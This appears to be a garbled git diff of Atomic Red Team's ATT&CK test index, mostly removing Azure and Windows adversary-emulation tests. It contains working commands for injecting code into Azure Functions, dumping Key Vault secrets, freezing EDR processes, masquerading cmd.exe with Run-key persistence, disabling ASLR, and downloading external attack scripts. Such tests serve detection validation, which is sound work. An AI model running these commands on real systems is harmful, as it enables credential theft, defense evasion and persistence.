description: Chooses execution option insert_code, or replace_file
file_share_name:
type: string
default: file_share_name_example
description: Name of the file share that is related to the Function
file_path:
type: path
default: site/wwwroot/function_app.py
description: Path to the Function file in the file share
code_to_insert_path:
type: path
default: "$PathToAtomicsFolder/T1528/src/code_to_insert.py"
description: The code that will be injected into the Function
dependency_executor_name: powershell
dependencies:
- description: Azure CLI must be installed
prereq_command: try {if (Get-InstalledModule -Name Az -ErrorAction SilentlyContinue)
'
prereq_command: 'try {if (Get-InstalledModule -Name Azure -ErrorAction SilentlyContinue)
{exit 0} else {exit 1}} catch {exit 1}
get_prereq_command: Install-Module -Name Az -Force
'
get_prereq_command: 'Install-Module -Name Azure -Force -allowclobber
'
executor:
command: "az login # Log in to Azure CLI\n\n$allowSharedKeyAccess = az
storage account show --name \"#{storage_account_name}\" --query \"allowSharedKeyAccess\"\n\nif
($allowSharedKeyAccess -eq \"false\") { # $allowSharedKeyAccess could
be true or null\n Write-Output \"Shared key access is disabled for this
storage account.\"\n} else {\n # Download file for cleanup\n $tmpOriginalFileName
= [System.IO.Path]::GetFileName(\"#{file_path}\")\n $tmpOriginalFunctionCode
= Join-Path $env:temp/ (\"T1528_tmp_original_\" + $tmpOriginalFileName)\n
\ az storage file download --account-name \"#{storage_account_name}\"
--share-name \"#{file_share_name}\" -p \"#{file_path}\" --only-show-errors
--dest $tmpOriginalFunctionCode\n\n if ($LASTEXITCODE -eq 0) {\n #
Upload new funciton code if download of existing code succeeded\n if
(\"#{execution_option}\" -eq \"insert_code\") {\n # Download
file from file share for injection\n $tmpFunctionCode = Join-Path
$env:temp/ (\"T1528_tmp_to_inject_\" + $tmpOriginalFileName)\n az
storage file download --account-name \"#{storage_account_name}\" --share-name
\"#{file_share_name}\" -p \"#{file_path}\" --only-show-errors --dest $tmpFunctionCode\n
\ \n if ($LASTEXITCODE -ne 0) {\n Write-Output
\"Function code download failed.\"\n exit 1\n }\n
\ Write-Output \"File downloaded: $($tmpFunctionCode)\"\n \n
\ $insertContent = Get-Content -Path \"#{code_to_insert_path}\"
-Raw # Load the content of the insert file\n \n $content
= Get-Content -Path $tmpFunctionCode -Raw # Inject code to file\n $content
= $insertContent + \"`n\" + $content # Insert the new code at the beginning\n
\ $content | Set-Content -Path $tmpFunctionCode # Write
the modified content to the file\n \n # Upload file
to file share\n az storage file upload --account-name \"#{storage_account_name}\"
--share-name \"#{file_share_name}\" -p \"#{file_path}\" --source $tmpFunctionCode
--only-show-errors\n if ($LASTEXITCODE -ne 0) {\n Write-Output
\"Function code upload failed.\"\n exit 1\n }\n
\ Write-Output \"Uploaded the tampered file\"\n } elseif
(\"#{execution_option}\" -eq \"replace_file\") {\n az storage
file upload --account-name \"#{storage_account_name}\" --share-name \"#{file_share_name}\"
-p \"#{file_path}\" --source \"#{code_to_insert_path}\" --only-show-errors\n
\ if ($LASTEXITCODE -ne 0) {\n Write-Output \"Function
code upload failed.\"\n exit 1\n }\n Write-Output
\"Uploaded the tampered file\"\n } else {\n Write-Output
\"Please choose a valid execution_option\"\n exit 1\n }\n
\ } else {\n Write-Output \"Download original function code failed.\"\n
\ exit 1\n }\n}"
cleanup_command: |-
az login # Log in to Azure CLI
command: |
import-module "PathToAtomicsFolder\..\ExternalPayloads\Get-AzurePasswords.ps1"
$Password = ConvertTo-SecureString -String "#{password}" -AsPlainText -Force
$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{username}", $Password
Connect-AzureRmAccount -Credential $Credential
Get-AzurePasswords -subscription '#{subscription_id}' > #{output_file}
cat #{output_file}
cleanup_command: 'remove-item #{output_file} -force -erroraction silentlycontinue
# Upload previous funciton code
$tmpOriginalFileName = [System.IO.Path]::GetFileName("#{file_path}")
$tmpOriginalFunctionCode = Join-Path $env:temp/ ("T1528_tmp_original_" + $tmpOriginalFileName)
az storage file upload --account-name "#{storage_account_name}" --share-name "#{file_share_name}" -p "#{file_path}" --source $tmpOriginalFunctionCode --only-show-errors 2>$null
if ($LASTEXITCODE -eq 0) {
Write-Output "Uploaded original version of function code."
# Delete tmp original f file if upload succeeded
if ("#{execution_option}" -eq "insert_code") {
$tmpFunctionCode = Join-Path $env:temp/ ("T1528_tmp_to_inject_" + $tmpOriginalFileName)
Remove-Item -Path $tmpFunctionCode -Force -erroraction silentlycontinue
Write-Output "Deleted tmp file: $($tmpFunctionCode)"
}
# Delete tmp original file
Remove-Item -Path $tmpOriginalFunctionCode -Force -erroraction silentlycontinue
Write-Output "Deleted tmp original file: $($tmpOriginalFunctionCode)"
} else {
Write-Output "Upload original function code failed."
}
'
name: powershell
elevation_required: false
elevation_required: true
T1552.006:
technique:
type: attack-pattern
@@ -49520,7 +49899,7 @@ credential-access:
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
modified: '2025-04-15T22:03:00.834Z'
name: 'Credentials from Password Stores: Cloud Secrets Management Stores'
name: Cloud Secrets Management Stores
description: "Adversaries may acquire credentials from cloud-native secret management
solutions such as AWS Secrets Manager, GCP Secret Manager, Azure Key Vault,
and Terraform Vault. \n\nSecrets managers support the secure centralized
@@ -49556,77 +49935,7 @@ credential-access:
x_mitre_version: '1.0'
x_mitre_data_sources:
- 'Cloud Service: Cloud Service Enumeration'
identifier: T1555.006
atomic_tests:
- name: Azure - Dump All Azure Key Vaults with Microburst
auto_generated_guid: 1b83cddb-eaa7-45aa-98a5-85fb0a8807ea
description: |-
Upon successful execution of this test, the names, locations, and contents of key vaults within an Azure account will be output to a file.
See - https://www.netspi.com/blog/technical/cloud-penetration-testing/a-beginners-guide-to-gathering-azure-passwords/
supported_platforms:
- iaas:azure
input_arguments:
username:
description: Azure AD username
type: string
default:
password:
description: Azure AD password
type: string
default: T1082Az
output_file:
description: File to dump results to
type: string
default: "$env:temp\\T1528Test1.txt"
subscription_id:
description: Azure subscription id to search
type: string
default:
dependency_executor_name: powershell
dependencies:
- description: 'The Get-AzurePasswords script must exist in PathToAtomicsFolder\..\ExternalPayloads.
'
prereq_command: 'if (test-path "PathToAtomicsFolder\..\ExternalPayloads\Get-AzurePasswords.ps1"){exit
0} else {exit 1}
'
get_prereq_command: |
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
invoke-webrequest "https://raw.githubusercontent.com/NetSPI/MicroBurst/c771c665a2c71f9c5ba474869cd1c211ebee68fd/AzureRM/Get-AzurePasswords.ps1" -outfile "PathToAtomicsFolder\..\ExternalPayloads\Get-AzurePasswords.ps1"
- description: 'The Azure RM module must be installed.
'
prereq_command: 'try {if (Get-InstalledModule -Name AzureRM -ErrorAction SilentlyContinue)
{exit 0} else {exit 1}} catch {exit 1}
'
get_prereq_command: 'Install-Module -Name AzureRM -Force -allowclobber
'
- description: 'The Azure module must be installed.
'
prereq_command: 'try {if (Get-InstalledModule -Name Azure -ErrorAction SilentlyContinue)
{exit 0} else {exit 1}} catch {exit 1}
'
get_prereq_command: 'Install-Module -Name Azure -Force -allowclobber
'
executor:
command: |
import-module "PathToAtomicsFolder\..\ExternalPayloads\Get-AzurePasswords.ps1"
$Password = ConvertTo-SecureString -String "#{password}" -AsPlainText -Force
$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{username}", $Password
Connect-AzureRmAccount -Credential $Credential
Get-AzurePasswords -subscription '#{subscription_id}' > #{output_file}
cat #{output_file}
cleanup_command: 'remove-item #{output_file} -force -erroraction silentlycontinue
'
name: powershell
elevation_required: true
atomic_tests: []
T1003.008:
technique:
type: attack-pattern
@@ -52757,99 +53066,6 @@ discovery:
Write-Output "Removed #{output_file}"
name: powershell
elevation_required: false
- name: Azure - Scan for Anonymous Access to Azure Storage (Powershell)
auto_generated_guid: 146af1f1-b74e-4aa7-9895-505eb559b4b0
description: "Upon successful execution, this test will test for anonymous access
to Azure storage containers by invoking a web request and outputting the results
to a file. \nThe corresponding response could then be interpreted to determine
whether or not the resource/container exists, as well as other information.
\nSee https://ninocrudele.com/the-three-most-effective-and-dangerous-cyberattacks-to-azure-and-countermeasures-part-2-attack-the-azure-storage-service
\ \n"
supported_platforms:
- iaas:azure
input_arguments:
base_name:
description: Azure storage account name to test
type: string
default: T1619Test2
output_file:
description: File to output results to
type: string
default: "$env:temp\\T1619Test2.txt"
container_name:
description: Container name to search for (optional)
type: string
default:
blob_name:
description: Blob name to search for (optional)
type: string
default:
executor:
command: |
try{$response = invoke-webrequest "https://#{base_name}.blob.core.windows.net/#{container_name}/#{blob_name}" -method "GET"}
catch [system.net.webexception]
{if($_.Exception.Response -ne $null)
{$Response = $_.Exception.Response.GetResponseStream()
$ReadResponse = New-Object System.IO.StreamReader($Response)
$ReadResponse.BaseStream.Position = 0
$responseBody = $ReadResponse.ReadToEnd()}
else {$responseBody = "The storage account could not be anonymously accessed."}}
"Response received for #{base_name}.blob.core.windows.net/#{container_name}/#{blob_name}: $responsebody" | out-file -filepath #{output_file} -append
cleanup_command: 'remove-item #{output_file} -erroraction silentlycontinue
'
name: powershell
- name: Azure - Enumerate Azure Blobs with MicroBurst
auto_generated_guid: 3dab4bcc-667f-4459-aea7-4162dd2d6590
description: "Upon successful execution, this test will utilize a wordlist to
enumerate the public facing containers and blobs of a specified Azure storage
account. \nSee https://www.netspi.com/blog/technical/cloud-penetration-testing/anonymously-enumerating-azure-file-resources/
. \n"
supported_platforms:
- iaas:azure
input_arguments:
base:
description: Azure blob keyword to enumerate (Example, storage account name)
type: string
default: secure
output_file:
description: File to output results to
type: string
default: "$env:temp\\T1619Test1.txt"
wordlist:
description: File path to keywords for search permutations
type: string
default: PathToAtomicsFolder\..\ExternalPayloads\permutations.txt
dependency_executor_name: powershell
dependencies:
- description: 'The Invoke-EnumerateAzureBlobs module must exist in PathToAtomicsFolder\..\ExternalPayloads.
'
prereq_command: 'if (test-path "PathToAtomicsFolder\..\ExternalPayloads\Invoke-EnumerateAzureBlobs.ps1"){exit
0} else {exit 1}
'
get_prereq_command: |
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
invoke-webrequest "https://raw.githubusercontent.com/NetSPI/MicroBurst/156c4e9f4253b482b2b68eda4651116b9f0f2e17/Misc/Invoke-EnumerateAzureBlobs.ps1" -outfile "PathToAtomicsFolder\..\ExternalPayloads\Invoke-EnumerateAzureBlobs.ps1"
- description: 'The wordlist file for search permutations must exist in PathToAtomicsFolder\..\ExternalPayloads.
'
prereq_command: 'if (test-path "#{wordlist}"){exit 0} else {exit 1}
'
get_prereq_command: 'invoke-webrequest "https://raw.githubusercontent.com/NetSPI/MicroBurst/156c4e9f4253b482b2b68eda4651116b9f0f2e17/Misc/permutations.txt"
-outfile "#{wordlist}"
'
executor:
command: |
import-module "PathToAtomicsFolder\..\ExternalPayloads\Invoke-EnumerateAzureBlobs.ps1"
Invoke-EnumerateAzureBlobs -base #{base} -permutations "#{wordlist}" -outputfile "#{output_file}"
cleanup_command: 'remove-item #{output_file} -erroraction silentlycontinue
'
name: powershell
T1654:
technique:
type: attack-pattern
+6 -6
View File
@@ -1046,7 +1046,7 @@ defense-evasion:
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
modified: '2025-04-15T19:58:05.840Z'
name: 'Obfuscated Files or Information: Encrypted/Encoded File'
name: Encrypted/Encoded File
description: "Adversaries may encrypt or encode files to obfuscate strings,
bytes, and other specific patterns to impede detection. Encrypting and/or
encoding file content aims to conceal malicious artifacts within a file used
@@ -1095,7 +1095,6 @@ defense-evasion:
x_mitre_data_sources:
- 'File: File Creation'
- 'File: File Metadata'
identifier: T1027.013
atomic_tests: []
T1014:
technique:
@@ -14301,7 +14300,7 @@ defense-evasion:
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
modified: '2025-04-15T19:59:20.277Z'
name: Application Access Token
name: 'Use Alternate Authentication Material: Application Access Token'
description: "Adversaries may use stolen application access tokens to bypass
the typical authentication process and access restricted accounts, information,
or services on remote systems. These tokens are typically stolen from users
@@ -14378,6 +14377,7 @@ defense-evasion:
x_mitre_version: '1.8'
x_mitre_data_sources:
- 'Web Credential: Web Credential Usage'
identifier: T1550.001
atomic_tests: []
T1078.004:
technique:
@@ -44847,7 +44847,7 @@ lateral-movement:
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
modified: '2025-04-15T19:59:20.277Z'
name: Application Access Token
name: 'Use Alternate Authentication Material: Application Access Token'
description: "Adversaries may use stolen application access tokens to bypass
the typical authentication process and access restricted accounts, information,
or services on remote systems. These tokens are typically stolen from users
@@ -44924,6 +44924,7 @@ lateral-movement:
x_mitre_version: '1.8'
x_mitre_data_sources:
- 'Web Credential: Web Credential Usage'
identifier: T1550.001
atomic_tests: []
credential-access:
T1557:
@@ -49099,7 +49100,7 @@ credential-access:
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
modified: '2025-04-15T22:03:00.834Z'
name: 'Credentials from Password Stores: Cloud Secrets Management Stores'
name: Cloud Secrets Management Stores
description: "Adversaries may acquire credentials from cloud-native secret management
solutions such as AWS Secrets Manager, GCP Secret Manager, Azure Key Vault,
and Terraform Vault. \n\nSecrets managers support the secure centralized
@@ -49135,7 +49136,6 @@ credential-access:
x_mitre_version: '1.0'
x_mitre_data_sources:
- 'Cloud Service: Cloud Service Enumeration'
identifier: T1555.006
atomic_tests: []
T1003.008:
technique:
+609 -1005
View File
@@ -2039,7 +2039,7 @@ defense-evasion:
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
modified: '2025-04-15T19:58:05.840Z'
name: 'Obfuscated Files or Information: Encrypted/Encoded File'
name: Encrypted/Encoded File
description: "Adversaries may encrypt or encode files to obfuscate strings,
bytes, and other specific patterns to impede detection. Encrypting and/or
encoding file content aims to conceal malicious artifacts within a file used
@@ -2088,48 +2088,7 @@ defense-evasion:
x_mitre_data_sources:
- 'File: File Creation'
- 'File: File Metadata'
identifier: T1027.013
atomic_tests:
- name: Decode Eicar File and Write to File
auto_generated_guid: 7693ccaa-8d64-4043-92a5-a2eb70359535
description: Decode the eicar value, and write it to file, for AV/EDR to try
to catch.
supported_platforms:
- windows
- macos
- linux
executor:
command: |-
$encodedString = "WDVPIVAlQEFQWzRcUFpYNTQoUF4pN0NDKTd9JEVJQ0FSLVNUQU5EQVJELUFOVElWSVJVUy1URVNULUZJTEUhJEgrSCo="
$bytes = [System.Convert]::FromBase64String($encodedString)
$decodedString = [System.Text.Encoding]::UTF8.GetString($bytes)
#write the decoded eicar string to file
$decodedString | Out-File T1027.013_decodedEicar.txt
cleanup_command: Just delete the resulting T1027.013_decodedEicar.txt file.
name: powershell
elevation_required: false
- name: Decrypt Eicar File and Write to File
auto_generated_guid: b404caaa-12ce-43c7-9214-62a531c044f7
description: Decrypt the eicar value, and write it to file, for AV/EDR to try
to catch.
supported_platforms:
- windows
- macos
- linux
executor:
command: |-
$encryptedString = "76492d1116743f0423413b16050a5345MgB8AGkASwA0AHMAbwBXAFoAagBkAFoATABXAGIAdAA5AFcAWAB1AFMANABVAEEAPQA9AHwAZQBjAGMANgAwADQAZAA0AGQAMQAwADUAYgA4ADAAMgBmADkAZgBjADEANQBjAGMANQBiAGMANwA2AGYANQBmADUANABhAGIAYgAyAGMANQA1AGQAMgA5ADEANABkADUAMgBiAGMANgA2AGMAMAAxADUAZABjADAAOABjAGIANAA1ADUANwBjADcAZQBlAGQAYgAxADEAOQA4AGIAMwAwADMANwAwADAANQA2ADQAOAA4ADkAZgA4ADMAZQA4ADgAOQBiAGEAMAA2ADMAMQAyADYAMwBiAGUAMAAxADgANAA0ADYAOAAxADQANQAwAGUANwBkADkANABjADcANQAxADgAYQA2ADMANQA4AGIAYgA1ADkANQAzAGIAMwAxADYAOAAwADQAMgBmADcAZQBjADYANQA5AGIANwBkADUAOAAyAGEAMgBiADEAMQAzAGQANABkADkAZgA3ADMAMABiADgAOQAxADAANAA4ADcAOQA5ADEAYQA1ADYAZAAzADQANwA3AGYANgAyADcAMAAwADEAMQA4ADEAZgA5ADUAYgBmAGYANQA3ADQAZQA4AGUAMAAxADUANwAwAGQANABiADMAMwA2ADgANwA0AGIANwAyADMAMQBhADkAZABhADEANQAzADQAMgAzADEANwAxADAAZgAxADkAYQA1ADEAMQA="
$key = [byte]1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32
$decrypt = ConvertTo-SecureString -String $encryptedString -Key $key
$decryptedString = [Runtime.InteropServices.Marshal]::PtrToStringBSTR([Runtime.InteropServices.Marshal]::SecureStringToBSTR($decrypt))
#Write the decrypted eicar string to a file
$decryptedString | out-file T1027.013_decryptedEicar.txt
cleanup_command: Just delete the resulting T1027.013_decryptedEicar.txt file.
name: powershell
elevation_required: false
atomic_tests: []
T1014:
technique:
type: attack-pattern
@@ -3963,7 +3922,7 @@ defense-evasion:
identifier: T1036.005
atomic_tests:
- name: Execute a process from a directory masquerading as the current parent
directory
directory.
auto_generated_guid: 812c3ab8-94b0-4698-a9bf-9420af23ce24
description: 'Create and execute a process from a directory masquerading as
the current parent directory (`...` instead of normal `..`)
@@ -4017,69 +3976,6 @@ defense-evasion:
'
name: powershell
- name: Masquerading cmd.exe as VEDetector.exe
auto_generated_guid: 03ae82a6-9fa0-465b-91df-124d8ca5c4e8
description: |
This test simulates an adversary renaming cmd.exe to VEDetector.exe to masquerade as a legitimate application.
The test copies cmd.exe, renames it to VEDetector.exe, adds a registry run key for persistence, and executes the renamed binary.
This technique may be used to evade detection by mimicking legitimate software names or locations.
**Expected Output:**
- A new process named VEDetector.exe appears in the process list, but its behavior matches cmd.exe.
- SIEM/EDR systems may detect this as suspicious process activity (e.g., Sysmon Event ID 1 for process creation, or Event ID 13 for registry modifications).
- Registry modification in HKLM:\Software\Microsoft\Windows\CurrentVersion\Run may trigger persistence alerts in XDR platforms.
**References:**
- [MITRE ATT&CK T1036.005](https://attack.mitre.org/techniques/T1036/005/)
- [Sysmon Process Creation](https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon)
supported_platforms:
- windows
input_arguments:
ved_path:
description: Directory path where VEDetector.exe will be created
type: Path
default: "$env:TEMP"
source_file:
description: Path to the source cmd.exe file
type: Path
default: "$env:SystemRoot\\System32\\cmd.exe"
dependency_executor_name: powershell
dependencies:
- description: 'The source cmd.exe file must exist on the system.
'
prereq_command: 'if (Test-Path "#{source_file}") { exit 0 } else { exit 1
}
'
get_prereq_command: |
Write-Host "[-] Source file not found: #{source_file}. Ensure cmd.exe exists in the specified path."
exit 1
executor:
name: powershell
elevation_required: true
command: |
# Copy and rename cmd.exe to VEDetector.exe
Copy-Item -Path "#{source_file}" -Destination "#{ved_path}\VEDetector.exe" -Force
# Create registry run key for persistence
New-ItemProperty -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "VEDetector" -Value "#{ved_path}\VEDetector.exe" -PropertyType String -Force
# Start the renamed process
Start-Process -FilePath "#{ved_path}\VEDetector.exe"
Start-Sleep -Seconds 5
cleanup_command: |
# Remove registry key
Remove-ItemProperty -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "VEDetector" -ErrorAction SilentlyContinue
# Stop the process
Stop-Process -Name "VEDetector" -Force -ErrorAction SilentlyContinue
# Remove the file
Remove-Item -Path "#{ved_path}\VEDetector.exe" -Force -ErrorAction SilentlyContinue
Write-Host "[+] Cleaned up VEDetector artifacts"
T1600:
technique:
type: attack-pattern
@@ -8682,36 +8578,6 @@ defense-evasion:
cleanup_command:
name: bash
elevation_required: false
- name: Expand CAB with expand.exe
auto_generated_guid: 9f8b1c54-cb76-4d5e-bb1f-2f5c0e8f5a11
description: |
Uses expand.exe to extract a file from a CAB created locally. This simulates adversarial use of expand on cabinet archives.
Upon success, art-expand-source.txt is extracted next to the CAB.
supported_platforms:
- windows
input_arguments:
cab_path:
description: Path to the CAB to expand (created if missing)
type: path
default: "%TEMP%\\art-expand-test.cab"
output_dir:
description: Destination directory
type: path
default: "%TEMP%\\art-expand-out"
executor:
name: command_prompt
elevation_required: false
command: |
mkdir "#{output_dir}" >nul 2>&1
echo hello from atomic red team > "PathToAtomicsFolder\T1140\src\art-expand-source.txt"
makecab "PathToAtomicsFolder\T1140\src\art-expand-source.txt" "#{cab_path}"
pushd "#{output_dir}"
expand "#{cab_path}" -F:* .
popd
cleanup_command: |
del "PathToAtomicsFolder\T1140\src\art-expand-source.txt" >nul 2>&1
del "#{cab_path}" >nul 2>&1
rmdir "#{output_dir}" /s /q >nul 2>&1
T1562:
technique:
type: attack-pattern
@@ -23615,127 +23481,6 @@ defense-evasion:
-Name Enabled -Value 1 -PropertyType "DWord" -Force
name: powershell
elevation_required: true
- name: Freeze PPL-protected process with EDR-Freeze
auto_generated_guid: cbb2573a-a6ad-4c87-aef8-6e175598559b
description: This test utilizes the tool EDR-Freeze, which leverages the native
Microsoft binary WerFaultSecure.exe to suspend processes protected by the
Protected Process Light mechanism. PPL is a Windows security feature designed
to safeguard critical system processes — such as those related to antivirus,
credential protection, and system integrity — from tampering or inspection.
These processes operate in a restricted environment that prevents access even
from administrators or debugging tools, unless the accessing tool is signed
and trusted by Microsoft. By using WerFaultSecure.exe, which is inherently
trusted by the operating system, EDR-Freeze is able to bypass these restrictions
and temporarily freeze PPL-protected processes for analysis or testing purposes.
supported_platforms:
- windows
input_arguments:
processName:
type: string
default: SecurityHealthService
description: PPL-protected process name to target
executor:
command: "# Enable SeDebugPrivilege\nAdd-Type -TypeDefinition @\"\nusing System;\nusing
System.Runtime.InteropServices;\n\npublic class TokenAdjuster {\n [DllImport(\"advapi32.dll\",
SetLastError = true)]\n public static extern bool OpenProcessToken(IntPtr
ProcessHandle, uint DesiredAccess, out IntPtr TokenHandle);\n\n [DllImport(\"advapi32.dll\",
SetLastError = true)]\n public static extern bool LookupPrivilegeValue(string
lpSystemName, string lpName, out long lpLuid);\n\n [DllImport(\"advapi32.dll\",
SetLastError = true)]\n public static extern bool AdjustTokenPrivileges(IntPtr
TokenHandle, bool DisableAllPrivileges,\n ref TOKEN_PRIVILEGES NewState,
uint BufferLength, IntPtr PreviousState, IntPtr ReturnLength);\n\n [StructLayout(LayoutKind.Sequential,
Pack = 1)]\n public struct TOKEN_PRIVILEGES {\n public int PrivilegeCount;\n
\ public long Luid;\n public int Attributes;\n }\n\n public
const int SE_PRIVILEGE_ENABLED = 0x00000002;\n public const uint TOKEN_ADJUST_PRIVILEGES
= 0x0020;\n public const uint TOKEN_QUERY = 0x0008;\n\n public static
bool EnableSeDebugPrivilege() {\n IntPtr hToken;\n if (!OpenProcessToken(System.Diagnostics.Process.GetCurrentProcess().Handle,
TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, out hToken))\n return
false;\n\n long luid;\n if (!LookupPrivilegeValue(null, \"SeDebugPrivilege\",
out luid))\n return false;\n\n TOKEN_PRIVILEGES tp = new
TOKEN_PRIVILEGES();\n tp.PrivilegeCount = 1;\n tp.Luid = luid;\n
\ tp.Attributes = SE_PRIVILEGE_ENABLED;\n\n return AdjustTokenPrivileges(hToken,
false, ref tp, 0, IntPtr.Zero, IntPtr.Zero);\n }\n}\n\"@\n\n$result =
[TokenAdjuster]::EnableSeDebugPrivilege()\nif ($result) {\n Write-Host
\"SeDebugPrivilege enabled successfully.\" -ForegroundColor Green\n} else
{\n Write-Host \"Failed to enable SeDebugPrivilege.\" -ForegroundColor
Red\n exit 1\n}\n\n# Get basic process info\n$process = Get-Process -Name
$#{processName} -ErrorAction Stop\n$processName = $process.ProcessName\nWrite-Host
\"Process Name: $processName)\"\nWrite-Host \"PID: $($process.Id)\"\n \n#
Get executable path and user info\n$query = \"SELECT * FROM Win32_Process
WHERE Name = '$processName.exe'\"\n$wmiProcess = Get-WmiObject -Query $query\n\n$owner
= $wmiProcess.GetOwner()\n Write-Host \"User: $($owner.Domain)\\$($owner.User)\"\n\n\n#
Get the folder of the current script\n$scriptFolder = Split-Path -Parent
$MyInvocation.MyCommand.Definition\n\n# Download latest EDR-Freeze package
and extract (force replace)\n$downloadUrl = \"https://github.com/TwoSevenOneT/EDR-Freeze/releases/download/main/EDR-Freeze_1.0.zip\"\n$zipPath
= Join-Path $scriptFolder \"EDR-Freeze_1.0.zip\"\nWrite-Host \"Downloading
latest EDR-Freeze from $downloadUrl\" -ForegroundColor Cyan\ntry {\n Invoke-WebRequest
-Uri $downloadUrl -OutFile $zipPath -UseBasicParsing -ErrorAction Stop\n
\ Write-Host \"Download completed: $zipPath\" -ForegroundColor Green\n
\ $extractFolder = $scriptFolder\n if (Test-Path $zipPath) {\n Write-Host
\"Extracting archive to $extractFolder (overwriting existing files)\" -ForegroundColor
Cyan\n if (Test-Path $extractFolder) {\n # Ensure target
exe not locked; attempt to stop any running instance silently\n Get-Process
-Name \"EDR-Freeze_1.0\" -ErrorAction SilentlyContinue | Stop-Process -Force
-ErrorAction SilentlyContinue\n }\n Add-Type -AssemblyName
System.IO.Compression.FileSystem 2>$null\n # Custom extraction routine
(overwrite existing) compatible with .NET Framework (no bool overwrite overload)\n
\ $archive = $null\n try {\n $archive = [System.IO.Compression.ZipFile]::OpenRead($zipPath)\n
\ foreach ($entry in $archive.Entries) {\n if ([string]::IsNullOrWhiteSpace($entry.FullName))
{ continue }\n if ($entry.FullName.EndsWith('/')) { # directory
entry\n $dirPath = Join-Path $extractFolder $entry.FullName\n
\ if (-not (Test-Path $dirPath)) { New-Item -ItemType
Directory -Path $dirPath -Force | Out-Null }\n continue\n
\ }\n $destPath = Join-Path $extractFolder
$entry.FullName\n $destDir = Split-Path $destPath -Parent\n
\ if (-not (Test-Path $destDir)) { New-Item -ItemType Directory
-Path $destDir -Force | Out-Null }\n if (Test-Path $destPath)
{ Remove-Item -Path $destPath -Force -ErrorAction SilentlyContinue }\n try
{\n # Use static extension method (PowerShell 5.1 compatible)\n
\ [System.IO.Compression.ZipFileExtensions]::ExtractToFile($entry,
$destPath, $false)\n } catch {\n Write-Host
\"Failed to extract entry $($entry.FullName): $_\" -ForegroundColor Yellow\n
\ }\n }\n Write-Host \"Extraction completed.\"
-ForegroundColor Green\n } finally {\n if ($archive) {
$archive.Dispose() }\n }\n }\n} catch {\n Write-Host \"Failed
to download or extract EDR-Freeze: $_\" -ForegroundColor Red\n}\n\n# Wait
15s before putting targeted process before putting it in the comma\nWrite-Host
\"Waiting 15s before putting $processName in the comma\" -ForegroundColor
Yellow\nStart-Sleep -Seconds 5\nWrite-Host \"Waiting 10s before putting
$processName in the comma\" -ForegroundColor Yellow\nStart-Sleep -Seconds
5\nWrite-Host \"Waiting 5s before putting $processName in the comma\" -ForegroundColor
Yellow\nStart-Sleep -Seconds 3\nWrite-Host \"Waiting 2s before putting $processName
in the comma\" -ForegroundColor Yellow\nStart-Sleep -Seconds 2\n\n# Put
targeted process in the comma for 15s\n# Discover the EDR-Freeze executable
dynamically (pick most recent if multiple)\n$edrFreezeExeName = Get-ChildItem
-Path $scriptFolder -Filter 'EDR-Freeze_*.exe' -ErrorAction SilentlyContinue
|\n Sort-Object LastWriteTime -Descending |\n Select-Object -First
1 -ExpandProperty Name\nif (-not $edrFreezeExeName) {\n Write-Host \"No
EDR-Freeze executable (EDR-Freeze_*.exe) found in $scriptFolder\" -ForegroundColor
Red\n exit 1\n}\n\n$edrFreezeExe = Join-Path $scriptFolder $edrFreezeExeName\nWrite-Host
\"Using EDR-Freeze executable: $edrFreezeExeName\" -ForegroundColor Cyan\nWrite-Host
\"$processName putted in the comma for 15s, by targetting Process ID $($htaProcess.Id)\"
-ForegroundColor Yellow\nStart-Process -FilePath $edrFreezeExe -ArgumentList
(\"$($process.Id) 15000\") | Out-Null"
cleanup_command: |-
Remove-Item -Path $edrFreezeExe -Force -erroraction silentlycontinue
Write-Output "File deleted: $edrFreezeExe"
name: powershell
elevation_required: true
- name: Disable ASLR Via sysctl parameters - Linux
auto_generated_guid: ac333fe1-ce2b-400b-a117-538634427439
description: Detects Execution of the `sysctl` command to set `kernel.randomize_va_space=0`
which disables Address Space Layout Randomization (ASLR) in Linux.
supported_platforms:
- linux
executor:
command: 'sysctl -w kernel.randomize_va_space=0
'
cleanup_command: 'sysctl -w kernel.randomize_va_space=2
'
name: bash
elevation_required: true
T1601:
technique:
type: attack-pattern
@@ -24074,14 +23819,6 @@ defense-evasion:
supported_platforms:
- windows
input_arguments:
script_download_url:
description: Download url for Start-Hollow.ps1
type: string
default: https://raw.githubusercontent.com/FuzzySecurity/PowerShell-Suite/720d8fe82396faf74f2ca19a3fe99a5c262a14b9/Start-Hollow.ps1
script_path:
description: Path to Start-Hollow.ps1
type: path
default: PathToAtomicsFolder\T1055.012\src\Start-Hollow.ps1
hollow_binary_path:
description: Path of the binary to hollow (executable that will run inside
the sponsor)
@@ -24101,7 +23838,7 @@ defense-evasion:
default: notepad
executor:
command: |
. "#{script_path}"
. "$PathToAtomicsFolder\T1055.012\src\Start-Hollow.ps1"
$ppid=Get-Process #{parent_process_name} | select -expand id
Start-Hollow -Sponsor "#{sponsor_binary_path}" -Hollow "#{hollow_binary_path}" -ParentPID $ppid -Verbose
cleanup_command: 'Stop-Process -Name "#{spawnto_process_name}" -ErrorAction
@@ -24109,21 +23846,6 @@ defense-evasion:
'
name: powershell
dependency_executor_name: powershell
dependencies:
- description: 'Start-Hollow.ps1 must be installed
'
prereq_command: 'if (Test-Path "#{script_path}") {exit 0} else {exit 1}
'
get_prereq_command: |
try {
iwr "#{script_download_url}" -OutFile (New-Item -Path #{script_path} -Force)
} catch {
Write-Error $_
Exit 1
}
- name: RunPE via VBA
